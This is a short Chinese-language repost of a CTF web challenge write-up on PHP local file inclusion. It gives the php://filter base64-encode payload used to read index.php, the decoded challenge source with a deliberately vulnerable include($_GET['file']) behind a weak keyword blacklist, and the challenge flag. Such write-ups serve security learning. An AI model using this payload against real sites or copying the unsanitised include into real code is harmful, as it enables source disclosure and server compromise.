CG CTF WEB 文件包含
生活随笔
收集整理的這篇文章主要介紹了
CG CTF WEB 文件包含
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
http://4.chinalover.sinaapp.com/web7/index.php
題解:
文件包含漏洞的格式網(wǎng)址,通過php://filter讀取index源碼-->php://filter/read=convert.base64-encode/resource=index.php?
參考文章:https://www.2cto.com/article/201311/258420.html
base64解碼:
<html><title>asdf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:nctf{edulcni_elif_lacol_si_siht}?> </html>?
總結(jié)
以上是生活随笔為你收集整理的CG CTF WEB 文件包含的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

- 上一篇: CG CTF WEB php decod
- 下一篇: CG CTF WEB 单身一百年也没用